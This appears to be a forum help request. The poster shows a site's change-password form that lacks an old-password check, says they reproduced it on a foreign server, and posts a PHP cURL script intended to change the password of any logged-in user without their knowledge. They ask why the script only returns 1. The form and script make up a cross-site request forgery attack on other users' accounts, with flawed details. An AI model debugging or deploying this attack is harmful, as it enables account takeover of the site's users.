CURL support enabled
CURL Information libcurl/7.13.2 OpenSSL/0.9.7e zlib/1.2.2 libidn/0.5.13
I found a website with a "change password" form that doesn't require the previous password to change it. Here is what the form looks like:
<form action="http://www.edit.com/edit/control.php?1" method="POST">
<input type="hidden" name="panel" value="password" />
<input type="hidden" name="forum_id" value="1" />
<input type="password" name="password" size="30" value="" />
<input type="password" name="password2" size="30" value="" />
<input type="submit" value=" Submit " />
</form>
I coped this form, uploaded it to my server, logged into the website, and used it to change my password (so I changed my password from a foreign server). Now, I'm trying to write a cURL script that automatically changes a users password if he is logged in. Here is my script:
Code:
<?php
$fields = array (
'panel' => 'email',
'forum_id' => '1',
'password' => 'new',
'password2' => 'new'
);
$url = 'http://www.edit.com/edit/control.php?1';
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_REFERER, "http://www.edit.com/edit/control.php?1,panel=password");
curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
echo $result;
?>
It keeps returning 1. I don't understand what I'm doing wrong. If I can send post data with a html form surely I can send it using curl.